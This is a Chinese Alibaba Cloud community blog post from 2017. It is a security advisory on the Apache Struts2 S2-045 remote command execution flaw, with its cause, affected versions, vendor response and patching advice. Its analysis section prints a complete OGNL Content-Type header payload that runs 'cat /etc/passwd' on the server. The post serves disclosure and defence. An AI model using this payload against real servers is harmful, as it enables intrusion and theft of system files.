1. 云栖社区>
  2. 博客列表>
  3. 正文

阿里云帮助云上用户应对Struts2高危漏洞

云木西 2017-03-09 09:10:37 浏览4079 评论2

安全 漏洞分析 阿里云 防火墙 云盾 Apache 漏洞 测试 Struts cmd Struts2 漏洞修复

摘要: 2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危。完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html

联动响应 零安全事件

在流程启动启动的同时,阿里云云盾的各个产品联动响应,帮助用户应对Struts2漏洞。安骑士迅速完成云上ECS安全检测,态势感知用行为检测功能精准捕捉攻击源IP,Web应用防火墙在次日上午成功升级防护规则,帮助用户有效拦截利用该漏洞发起的攻击。

通过及时地检测、通知和规则升级,所有阿里云云盾用户均未因此漏洞发生安全事件。

漏洞分析

0x00 漏洞公告

根据官方的漏洞公告

https://cwiki.apache.org/confluence/display/WW/S2-045

可以看出漏洞的主要原因是出现在Content-Type


It is possible to perform aRCE attack with a malicious Content-Type value. If the Content-Type value isn'tvalid an exception is thrown which is then used to display an error message toa users.

通过http header中的Content-Type,注入OGNL语句来进行远程命令执行。

Struts2在对于异常的处理时出现了问题。

0x01 影响范围

受影响的版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

0x02 漏洞危害

  • 测试环境:tomcat7,Struts2.3.16
  • 测试过程:在上传页面拦截请求的数据包

0a671ae6a8898df47a67c7dd30f3da68cb892471

在http header里增加一个Content-Type的key,value就是我们的poc


%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat  /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

0a671ae6a8898df47a67c7dd30f3da68cb892471

全球攻击分布态势

277ac59cb2aa8a7c517f960edfc844a758ee09fc

修复建议

  • 对于使用了基于Jakarta实现文件上传Multipart解析器,检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本。
  • 使用其它方式实现文件上传的Multipart解析器。
  • 使用第三方的防护设备进行防护。
  • 删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
  • 阿里云云盾Web应用防火墙已经支持该漏洞防御,点击这里可查看介绍

 

版权声明:本文内容由互联网用户自发贡献,本社区不拥有所有权,也不承担相关法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件至:yqgroup@service.aliyun.com 进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容。

用云栖社区APP,舒服~

【云栖快讯】2017互联网超级工程阿里双11完美落幕,交易额突破1682亿,但阿里工程师如何玩转“超级工程”,背后黑科技又是如何?12月13-14日,12位大咖直播分享揭秘1682亿背后技术实践,马上预约  详情请点击

网友评论

1F
小柒2012

Struts2升级版本至2.5.10 升级说明 https://yq.aliyun.com/articles/72018

2F
ap1253j8y

12年还是13年 一个国家总局的项目 被挂上了反动标语 同期还有被境外攻击,后来确认就是Struts2漏洞的 后来上报GA部,据说被定性为重大事件。

(来自社区APP)
关注
云木西
云计算、大数据、人工智能技术之路上的徒步者
61篇文章|599关注
凝聚阿里巴巴多年来在无线业务安全防御的成功经验和技术成果,并面向开发者和企业提供安全扫描、应用加固、安全组件、数... 更多>

一站式提供企业即时通讯、销售管理、协同办公。 更多>

基于深度学习技术及阿里巴巴多年的海量数据支撑, 提供多样化的内容识别服务,能有效帮助用户降低违规风险。其产品包括... 更多>

为您提供简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本... 更多>
社区之星年度评选,投票可抽奖

社区之星年度评选,投票可抽奖